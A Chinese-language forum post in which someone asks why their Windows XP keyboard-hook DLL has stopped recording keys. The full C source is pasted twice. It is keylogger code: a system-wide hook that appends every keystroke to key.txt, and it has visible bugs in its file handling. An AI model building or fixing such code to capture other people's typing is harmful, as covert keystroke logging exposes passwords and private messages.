在2个月前我测试的键盘钩子代码,能够记录,今天在哪出来测试时,居然没反映,不能记录,这是为什么.
我在VC6.0 WIN XP 平台下.
代码如下:
#include<windows.h>
#include<stdio.h>
#pragma data_seg("mydata")
HHOOK glhHook=NULL; //安装的勾子句柄
// HINSTANCE glhInstance=NULL; //DLL实例句柄
#pragma data_seg() LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
char ch=0;
FILE *fl;
if(((DWORD)lParam&0x40000000)&&(HC_ACTION==nCode)) //有键按下
{
if( (wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f)&&(wParam<=0x100))
{
fl=fopen("key.txt","a+"); //输出到key.txt文件
if (wParam==VK_RETURN)
{
ch='\n';
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan=0;
ToAscii(wParam,scan,ks,&w,0);
//ch=MapVirtualKey(wParam,2); //把虚键代码变为字符
ch =char(w);
}
fwrite(&ch, sizeof(char), 1, fl);
}
fclose(fl);
}
return CallNextHookEx( glhHook, nCode, wParam, lParam );}
void sethook()
{
//BOOL bResult=FALSE;
glhHook=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,GetModuleHandle("keydll"),0);
}
int stophook()
{
BOOL bResult=FALSE;
if(glhHook)
{
bResult= UnhookWindowsHookEx(glhHook);
if(bResult)
glhHook=NULL;
}
return bResult;
}
我在VC6.0 WIN XP 平台下.
代码如下:
#include<windows.h>
#include<stdio.h>
#pragma data_seg("mydata")
HHOOK glhHook=NULL; //安装的勾子句柄
// HINSTANCE glhInstance=NULL; //DLL实例句柄
#pragma data_seg() LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
char ch=0;
FILE *fl;
if(((DWORD)lParam&0x40000000)&&(HC_ACTION==nCode)) //有键按下
{
if( (wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f)&&(wParam<=0x100))
{
fl=fopen("key.txt","a+"); //输出到key.txt文件
if (wParam==VK_RETURN)
{
ch='\n';
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan=0;
ToAscii(wParam,scan,ks,&w,0);
//ch=MapVirtualKey(wParam,2); //把虚键代码变为字符
ch =char(w);
}
fwrite(&ch, sizeof(char), 1, fl);
}
fclose(fl);
}
return CallNextHookEx( glhHook, nCode, wParam, lParam );}
void sethook()
{
//BOOL bResult=FALSE;
glhHook=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,GetModuleHandle("keydll"),0);
}
int stophook()
{
BOOL bResult=FALSE;
if(glhHook)
{
bResult= UnhookWindowsHookEx(glhHook);
if(bResult)
glhHook=NULL;
}
return bResult;
}
我觉得这段代码的意思不是有键按下,而是键弹起